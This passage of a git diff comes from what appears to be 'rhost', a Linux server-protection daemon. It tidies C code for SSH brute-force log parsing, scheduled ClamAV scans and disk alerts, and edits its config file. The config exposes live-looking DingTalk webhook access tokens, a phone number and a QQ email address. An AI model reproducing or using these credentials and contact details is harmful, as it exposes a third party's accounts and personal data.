if (head_argvs[i])
|
||||
free(head_argvs[i]);
|
||||
}
|
||||
@ -1236,8 +1017,7 @@ goto_daemon:
|
||||
if ((pid = fork()) < 0) {
|
||||
return 0;
|
||||
} else if (0 != pid) {
|
||||
for(i=1; i<head_argc; i++)
|
||||
{
|
||||
for (i = 1; i < head_argc; i++) {
|
||||
if (head_argvs[i])
|
||||
free(head_argvs[i]);
|
||||
}
|
||||
@ -1248,13 +1028,21 @@ goto_daemon:
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
if (-1 == (nice(-20))) // 进程优先级
|
||||
perror("nice");
|
||||
|
||||
pid_t pid;
|
||||
|
||||
while (1)
|
||||
{
|
||||
// 创建一个新进程
|
||||
pid = fork();
|
||||
|
||||
if (pid < 0) {
|
||||
// fork 失败
|
||||
fprintf(stderr, "Fork 失败\n");
|
||||
return 1;
|
||||
} else if (pid == 0) {
|
||||
// 子进程
|
||||
while (1) {
|
||||
// Cron
|
||||
struct tm *calnext; //取得Cron规则时间
|
||||
calnext = (struct tm *)malloc(sizeof(struct tm));
|
||||
@ -1283,10 +1071,8 @@ goto_daemon:
|
||||
//printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
||||
|
||||
// Clamav call
|
||||
if (1 == conf->CLAMAV)
|
||||
{
|
||||
if ( t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min )
|
||||
{
|
||||
if (1 == conf->CLAMAV) {
|
||||
if (t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min) {
|
||||
//printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec);
|
||||
//printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
||||
|
||||
@ -1295,8 +1081,7 @@ goto_daemon:
|
||||
if (pid < 0) {
|
||||
printf("fork error.\n");
|
||||
return -1;
|
||||
}
|
||||
else if (pid == 0) // child process
|
||||
} else if (pid == 0) // child process
|
||||
{
|
||||
int r = 0;
|
||||
int virus_files = -1;
|
||||
@ -1308,40 +1093,30 @@ goto_daemon:
|
||||
virus_files = get_clamav_log("clamscan.log");
|
||||
|
||||
if (virus_files > 0) {
|
||||
if (conf->IS_QQMAIL == 1)
|
||||
{
|
||||
if (conf->IS_QQMAIL == 1) {
|
||||
QQ_mail_warning_Virus_files(public_ip, virus_files, conf);
|
||||
sleep(3);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// 磁盘告警
|
||||
if (1 == conf->IS_DISK)
|
||||
{
|
||||
if (disk_waring(conf->DISK_USE) == 1)
|
||||
{
|
||||
if (1 == conf->IS_DISK) {
|
||||
if (disk_waring(conf->DISK_USE) == 1) {
|
||||
printf("Disk usage reaches threshold!, Please handle!\n");
|
||||
if (conf->IS_QQMAIL == 1)
|
||||
{
|
||||
if (conf->IS_QQMAIL == 1) {
|
||||
QQ_mail_warning_Disk_Use(public_ip, 0, conf);
|
||||
sleep(3);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
printf("Disk usage does not reach threshold!\n");
|
||||
}
|
||||
}
|
||||
|
||||
_exit(r);
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
int status = 0;
|
||||
wait(&status); // wait the end of child process
|
||||
if (WIFEXITED(status))
|
||||
{
|
||||
if (WIFEXITED(status)) {
|
||||
;
|
||||
//printf("child process return %d\n", WEXITSTATUS(status));
|
||||
}
|
||||
@ -1351,29 +1126,32 @@ goto_daemon:
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
rule(conf);
|
||||
sleep(conf->TIME);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
// 父进程
|
||||
|
||||
rule(conf);
|
||||
while(1)
|
||||
{
|
||||
nginx_read_log("/usr/local/nginx/logs/access.log");
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
;
|
||||
}
|
||||
|
||||
free(t);
|
||||
free_conf(conf);
|
||||
free(conf);
|
||||
free(public_ip);
|
||||
for(i=1; i<head_argc; i++)
|
||||
{
|
||||
//printf("%s %d\n", head_argvs[i], i);
|
||||
for (i = 1; i < head_argc; i++) {
|
||||
if (head_argvs[i])
|
||||
free(head_argvs[i]);
|
||||
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -13,7 +13,7 @@ global {
|
||||
REFUSE_NUMBER = 3; // 拒绝攻击次数
|
||||
|
||||
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
|
||||
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
||||
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
||||
CLAMAV_TIME = "* 7 23 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
|
||||
|
||||
|
||||
@ -23,18 +23,17 @@ global {
|
||||
|
||||
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
|
||||
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
|
||||
REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域API
|
||||
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
|
||||
|
||||
|
||||
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
|
||||
|
||||
|
||||
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭)
|
||||
IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
|
||||
PHONE = "15565979082"; // @的人手机号
|
||||
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK
|
||||
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
|
||||
|
||||
|
||||
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail:https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
||||
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
||||
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
|
||||
}
|
||||
|
2
rhost.h
2
rhost.h
@ -107,9 +107,7 @@ void cron_free(void* p)
|
||||
#define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0)
|
||||
|
||||
#define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' "
|
||||
|
||||
#define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost"
|
||||
#define GE_12 "grep -E \"^$(LC_ALL=\"C\" date +\"%Y-%m-%d\")\" /var/log/auth.log | grep failure | grep rhost"
|
||||
#define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost"
|
||||
|
||||
#define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost"
|
||||
|
Loading…
Reference in New Issue
Block a user